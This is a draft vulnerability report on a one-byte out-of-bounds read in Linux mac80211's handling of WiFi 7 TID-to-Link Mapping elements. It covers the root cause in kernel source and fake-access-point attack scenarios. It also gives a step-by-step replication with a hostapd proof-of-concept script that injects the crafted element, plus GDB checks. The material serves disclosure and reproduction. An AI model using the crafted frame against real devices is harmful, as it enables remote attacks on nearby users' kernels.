PWNO-0032 (Private Draft)

This is a one-byte out-of-bounds (OOB) read in the Linux kernel's WiFi/mac80211 subsystem, triggered when parsing TTLM (TID-to-Link Mapping) elements in 802.11be (WiFi 7/EHT) management frames.

ieee80211_parse_adv_t2l() reads one byte from ttlm->optional before confirming that any optional bytes exist. The TTLM length validator explicitly allows a minimal element with only the control byte when DEF_LINK_MAP is set. That combination gives a remote, over‑the‑air, one‑byte out‑of‑bounds read in mac80211 during association response and beacon processing.

Root Cause

TTLM element structure is defined:

c
* struct ieee80211_ttlm_elem - TID-To-Link Mapping element
 *
 * Defined in section 9.4.2.314 in P802.11be_D4
 *
 * @control: the first part of control field
 * @optional: the second part of control field
 */
struct ieee80211_ttlm_elem {
	u8 control;
	u8 optional[];
} __packed;

The structure has:

  1. 1 byte for control (always required)
  2. 0+ bytes in optional[] (a flexible array member: can have zero elements!)

The validator function explicitly permits zero optional bytes when DEF_LINK_MAP is set:

c
static inline bool ieee80211_tid_to_link_map_size_ok(const u8 *data, size_t len)
{
	const struct ieee80211_ttlm_elem *t2l = (const void *)data;
	u8 control, fixed = sizeof(*t2l), elem_len = 0;

	if (len < fixed)
		return false;

	control = t2l->control;

	if (control & IEEE80211_TTLM_CONTROL_SWITCH_TIME_PRESENT)
		elem_len += 2;
	if (control & IEEE80211_TTLM_CONTROL_EXPECTED_DUR_PRESENT)
		elem_len += 3;

	// :1084
	if (!(control & IEEE80211_TTLM_CONTROL_DEF_LINK_MAP)) {
		u8 bm_size;

		elem_len += 1;
		if (len < fixed + elem_len)
			return false;

		if (control & IEEE80211_TTLM_CONTROL_LINK_MAP_SIZE)
			bm_size = 1;
		else
			bm_size = 2;

		elem_len += hweight8(t2l->optional[0]) * bm_size;
	}
	// :1097

	return len >= fixed + elem_len;
}

Look at line 1084-1097. The extra byte (elem_len += 1) and the access to t2l->optional[0] only happen when DEF_LINK_MAP is NOT set. When DEF_LINK_MAP is set, the validator skips this entire block, meaning:

This results in a TTLM element with only the control byte passes validation.

Looking at the ieee80211_parse_adv_t2l parser:

c
static int
ieee80211_parse_adv_t2l(struct ieee80211_sub_if_data *sdata,
			const struct ieee80211_ttlm_elem *ttlm,
			struct ieee80211_adv_ttlm_info *ttlm_info)
{
	/* The element size was already validated in
	 * ieee80211_tid_to_link_map_size_ok()
	 */
	u8 control, link_map_presence, map_size, tid;
	u8 *pos;

	memset(ttlm_info, 0, sizeof(*ttlm_info));
	pos = (void *)ttlm->optional;     // pos points to optional[]
	control	= ttlm->control;

	if ((control & IEEE80211_TTLM_CONTROL_DIRECTION) !=
	    IEEE80211_TTLM_DIRECTION_BOTH) {
		sdata_info(sdata, "Invalid advertised T2L map direction\n");
		return -EINVAL;
	}

	link_map_presence = *pos;         // reads *optional UNCONDITIONALLY
	pos++;

	if (control & IEEE80211_TTLM_CONTROL_SWITCH_TIME_PRESENT) {
		ttlm_info->switch_time = get_unaligned_le16(pos);
		// ...
		pos += 2;
	}

	if (control & IEEE80211_TTLM_CONTROL_EXPECTED_DUR_PRESENT) {
		ttlm_info->duration = pos[0] | pos[1] << 8 | pos[2] << 16;
		pos += 3;
	}

	if (control & IEEE80211_TTLM_CONTROL_DEF_LINK_MAP) {
		ttlm_info->map = 0xffff;      // returns early, value NOT used
		return 0;
	}
	// ... rest of function uses link_map_presence

From :6193 , you can see that read (link_map_presence = *pos;) happens before checking if DEF_LINK_MAP is set. But when DEF_LINK_MAP is set, in which:

image.png
image.png

When the parser does link_map_presence = *pos, it reads one byte past the element boundary.

Exploitability

This can be reached remote, over-the-air (WiFi):

You can craft a malicious management frame with a minimal TTLM element to trigger this bug. In such way:

  1. Attack via Beacon:
    1. Attacker sets up a fake AP broadcasting beacons with the malicious TTLM element
    2. Any device that's already connected (or scanning) and processes that beacon triggers the bug
    3. Victim doesn't even need to actively connect
  2. via Association Response:
    1. Attacker sets up a fake AP (maybe with a common SSID like "Free WiFi" or spoofing a known network)
    2. When victim's device tries to connect, the fake AP sends an association response with the crafted TTLM element
    3. Bug triggers during connection handshake

Replication

  1. Host prep (repo + kernel build) 1.1: cd /repo/linux 1.2: Ensure kernel config includes:
  1. Boot QEMU with KASAN + hwsim 2.1: Start QEMU with kernel and hwsim params (example; adapt paths):

    • append "root=/dev/vda rw console=ttyS0 nokaslr kasan_multi_shot=1 mac80211_hwsim.mlo=1 mac80211_hwsim.radios=2 mac80211_hwsim.regtest=4" 2.2: Ensure you have a serial console and GDB stub (example):
    • nographic -s -S 2.3: From the guest, confirm the cmdline and KASAN:
    • dmesg | grep -i kasan | head -n 20
  2. Start GDB (host) 3.1: gdb /repo/linux/vmlinux 3.2: target remote :1234 3.3: Set breakpoints (read-only; no forcing):

    • b ieee80211_parse_adv_t2l
    • b ieee80211_assoc_success
    • b ieee80211_process_adv_ttlm 3.4: c (continue)
  3. Guest: verify hwsim baseline 4.1: ls /sys/class/mac80211_hwsim

    • Expect hwsim0 and hwsim1 if you booted with radios=2. 4.2: iw dev
    • Expect initial wlan interfaces (often wlan0/wlan1). 4.3: Do not force any kernel memory values in GDB.
  4. Guest: start global hostapd/wpa_supplicant 5.1: Clean stale ctrl sockets:

    • rm -rf /var/run/hostapd /var/run/hostapd-global /var/run/wpa_supplicant /var/run/wpa_supplicant-global* 5.2: Start global hostapd (stdout log):
    • nohup /root/hostap/hostapd/hostapd -g /var/run/hostapd-global -dd > /root/hostapd-global.log 2>&1 & 5.3: Start global wpa_supplicant:
    • /root/hostap/wpa_supplicant/wpa_supplicant -g /var/run/wpa_supplicant-global -dd -f /root/wpa-global.log -B
  5. Guest: run the PoC MLO script (this triggers TTLM parsing) 6.1: Use this exact script (OWE worked reliably for MLO):

    python
    import sys, time
    sys.path.insert(0, '/root/hostap/tests/hwsim')
    sys.path.insert(0, '/root/hostap/wpaspy')
    from hwsim import HWSimRadio
    import hostapd
    from wpasupplicant import WpaSupplicant
    import wpaspy
    
    ssid='ttlm-mlo'
    ttlm_ie='ff026d06'  # EID=EXT, len=2, ext_id=TTLM, control=0x06 (BOTH+DEF_LINK_MAP)
    
    def ap_params(ssid, channel):
        params = hostapd.wpa2_params(ssid=ssid, passphrase=None, wpa_key_mgmt='OWE', ieee80211w='2')
        params['ieee80211n']='1'
        params['ieee80211ax']='1'
        params['ieee80211be']='1'
        params['hw_mode']='g'
        params['channel']=str(channel)
        params['group_mgmt_cipher']='AES-128-CMAC'
        params['beacon_prot']='1'
        params['vendor_elements']=ttlm_ie
        params['assocresp_elements']=ttlm_ie
        return params
    
    with HWSimRadio(use_mlo=True, use_chanctx=True) as (hapd0_radio, hapd0_iface), \
        HWSimRadio(use_mlo=True, use_chanctx=True) as (hapd1_radio, hapd1_iface), \
        HWSimRadio(use_mlo=True, use_chanctx=True) as (wpas_radio, wpas_iface):
        print('AP ifaces:', hapd0_iface, hapd1_iface, 'STA iface:', wpas_iface)
    
        params0 = ap_params(ssid, 1)
        hapd0 = hostapd.add_mld_link(hapd0_iface, 0, params0)
        hapd0.enable()
        hapd0.wait_event(['AP-ENABLED'], timeout=5)
    
        params1 = ap_params(ssid, 6)
        hapd1 = hostapd.add_mld_link(hapd0_iface, 1, params1)
        hapd1.enable()
        hapd1.wait_event(['AP-ENABLED'], timeout=5)
    
        ctrl = wpaspy.Ctrl('/var/run/wpa_supplicant-global')
        res = ctrl.request(f"INTERFACE_ADD {wpas_iface}\t\tnl80211\tDIR=/var/run/wpa_supplicant GROUP=adm")
        print('INTERFACE_ADD:', res)
    
        wpas = WpaSupplicant(ifname=wpas_iface, global_iface='/var/run/wpa_supplicant-global')
        wpas.connect(ssid, key_mgmt='OWE', ieee80211w='2', scan_freq='2412 2437')
    
        time.sleep(2)
        print(wpas.request('MLO_STATUS'))
        print(wpas.request('STATUS'))
    
        time.sleep(30)

    6.2: This creates wlan2/wlan3 (AP links) and wlan4 (STA), sets TTLM in beacon + assocresp, and establishes MLO.

  6. GDB: confirm the association path (no forcing) 7.1: When ieee80211_assoc_success hits:

    • p/x sdata->vif.valid_links (should be non‑zero)
    • p elems->ttlm_num (should be 1)
    • p elems->ttlm[0] 7.2: c to reach ieee80211_parse_adv_t2l naturally.
  7. GDB: prove the OOB read (read‑only) 8.1: At ieee80211_parse_adv_t2l:

    • p/x ttlm
    • x/8bx ttlm-3 → expect ff 02 6d 06 ...
    • p/x ttlm->control0x6
    • p/x ttlm->optional 8.2: Compute element end:
    • set $len = *((unsigned char*)ttlm-2)
    • set $end = (unsigned char*)ttlm - 1 + $len
    • p/x $len0x2
    • p/x $end
    • p/x ttlm->optional
    • p $end == ttlm->optional1 8.3: This shows ttlm->optional == end of element, so pos reads past the element boundary.
  8. Optional: beacon path 9.1: Let GDB continue; ieee80211_process_adv_ttlm and ieee80211_parse_adv_t2l also trigger from beacons.

  9. Trial & error (what went wrong and how I fixed it) 10.1: Hostapd enable failure

    • Error: Failed to enable hostapd interface wlan2
    • Fix: restart global daemons and remove stale /var/run/* sockets; then retry. 10.2: hostapd log file missing with f
    • hostapd-global.log didn’t exist when launched with f
    • Fix: run with nohup … > /root/hostapd-global.log 2>&1 & 10.3: mac80211_hwsim not showing in lsmod
    • Built-in module → no lsmod entry
    • Confirm via /sys/class/mac80211_hwsim and kernel cmdline. 10.4: Only two hwsim radios
    • mac80211_hwsim.radios=2 (from cmdline)
    • The script works because HWSimRadio creates temporary interfaces; don’t assume 3 persistent radios. 10.5: WPA interface add flakiness
    • WpaSupplicant.interface_add() sometimes returns FAIL
    • Fix: use wpaspy.Ctrl(...).request("INTERFACE_ADD ...") directly and proceed if OK.
  10. Final validation checklist 11.1: sdata->vif.valid_links non‑zero at assoc. 11.2: elems->ttlm_num == 1 and ttlm points to element with ff 02 6d 06. 11.3: ttlm->optional == end (computed from len). 11.4: ieee80211_parse_adv_t2l reads pos before DEF_LINK_MAP check.